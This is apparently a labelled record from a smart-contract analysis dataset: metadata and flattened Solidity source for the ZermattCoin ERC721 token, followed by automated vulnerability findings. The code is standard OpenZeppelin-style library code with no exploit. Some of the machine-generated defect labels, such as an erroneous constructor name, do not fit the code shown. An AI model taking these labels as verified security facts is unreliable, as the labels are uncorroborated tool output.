00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000006000000000000000000000000553ef3223cf5f6baa4ca345228f48d8a575ea29400000000000000000000000002f9e997fede43d980bfdebe1ba4e2493f401b120000000000000000000000006c27edfc424cbce73d526428e469accf7eafc503000000000000000000000000317f653b5e4e606da786a70c7fe9284f5232f80100000000000000000000000025eefeb33872075dc4b01be9b95ade6d08872537000000000000000000000000d547198f5d7d81acd85141621807c706d4c5fa04
Default
MIT
false
ipfs://d24a109b16eb792424aa82493744d260d65f1ea873e45111f5ed2b8577b9cbc0
ZermattCoin
0x9918e85ecac0aa865d865126dad2df1d85bd991e
Solidity
pragma solidity ^0.5.2; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title IERC165 * @dev https://eips.ethereum.org/EIPS/eip-165 */ interface IERC165 { /** * @notice Query if a contract implements an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @title ERC165 * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. */ contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /* * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) */ /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) private _supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor () internal { _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev internal method for registering an interface */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff); _supportedInterfaces[interfaceId] = true; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function transferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safeTransfer`. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the SafeMath * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0)); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0)); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } /** * @dev Tells whether an operator is approved by a given owner * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address * Usage of this method is discouraged, use `safeTransferFrom` whenever possible * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data)); } /** * @dev Returns whether the specified token exists * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0)); require(!_exists(tokenId)); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from); require(to != address(0)); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Private function to clear current approval of a given token ID * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Enumerable is IERC721 { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token with optional enumeration extension logic * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /* * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ /** * @dev Constructor function */ constructor () public { // register the supported interface to conform to ERC721Enumerable via ERC165 _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require(index < balanceOf(owner)); return _ownedTokens[owner][index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return _allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply()); return _allTokens[index]; } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { super._transferFrom(from, to, tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); _addTokenToOwnerEnumeration(to, tokenId); } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _addTokenToOwnerEnumeration(to, tokenId); _addTokenToAllTokensEnumeration(tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * Deprecated, use _burn(uint256) instead * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _removeTokenFromOwnerEnumeration(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _removeTokenFromAllTokensEnumeration(tokenId); } /** * @dev Gets the list of token IDs of the requested owner * @param owner address owning the tokens * @return uint256[] List of token IDs owned by the requested address */ function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the _ownedTokensIndex mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } contract ERC721Metadata is ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ /** * @dev Constructor function */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /** * @dev Gets the token name * @return string representing the token name */ function name() external view returns (string memory) { return _name; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param tokenId uint256 ID of the token to query */ function tokenURI(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId)); return _tokenURIs[tokenId]; } /** * @dev Internal function to set the token URI for a given token * Reverts if the token ID does not exist * @param tokenId uint256 ID of the token to set its URI * @param uri string URI to assign */ function _setTokenURI(uint256 tokenId, string memory uri) internal { require(_exists(tokenId)); _tokenURIs[tokenId] = uri; } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * Deprecated, use _burn(uint256) instead * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } /** * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata { constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) { // solhint-disable-previous-line no-empty-blocks } } /** * @title ERC721Mintable * @dev ERC721 minting logic */ contract ERC721Mintable is ERC721, MinterRole { /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param tokenId The token id to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 tokenId) public onlyMinter returns (bool) { _mint(to, tokenId); return true; } } contract ZermattCoin is ERC721Full, ERC721Mintable{ function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); } function renounceMinter() public { _removeMinter(msg.sender); } constructor() ERC721Full("Zermatt Coin", "ZC") public { _mint(msg.sender, 3920); renounceMinter(); } }
[{"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["245"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["625", "386", "666", "224", "579"]}]
[{"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"ZermattCoin.sol": [758]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ZermattCoin.sol": [288, 287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [50, 51, 52, 53, 54, 55]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [554, 555, 556]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [747, 748, 749]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [918, 919, 920, 921, 922, 923, 924, 925]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [906, 907, 908, 909]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [64, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [32, 33, 34, 35, 28, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [736, 737, 738, 739, 740, 732, 733, 734, 735]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZermattCoin.sol": [544, 545, 546, 547, 538, 539, 540, 541, 542, 543]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZermattCoin.sol": [233]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZermattCoin.sol": [260, 261]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZermattCoin.sol": [229]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZermattCoin.sol": [226]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZermattCoin.sol": [192, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZermattCoin.sol": [960, 957, 958, 959]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZermattCoin.sol": [625]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZermattCoin.sol": [627]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ZermattCoin.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ZermattCoin.sol": [839]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ZermattCoin.sol": [838]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ZermattCoin.sol": [839]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ZermattCoin.sol": [838]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ZermattCoin.sol": [488]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 91, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 121, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 343, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 357, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 650, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 855, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 544, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 605, "severity": 1}, {"rule": "SOLIDITY_ARRAY_LENGTH_MANIPULATION", "line": 794, "severity": 1}, {"rule": "SOLIDITY_ARRAY_LENGTH_MANIPULATION", "line": 821, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 91, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 100, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 175, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 343, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 346, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 349, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 352, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 355, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 357, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 639, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 642, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 645, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 648, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 650, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 847, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 850, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 853, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 855, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 308, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 337, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 278, "severity": 1}]
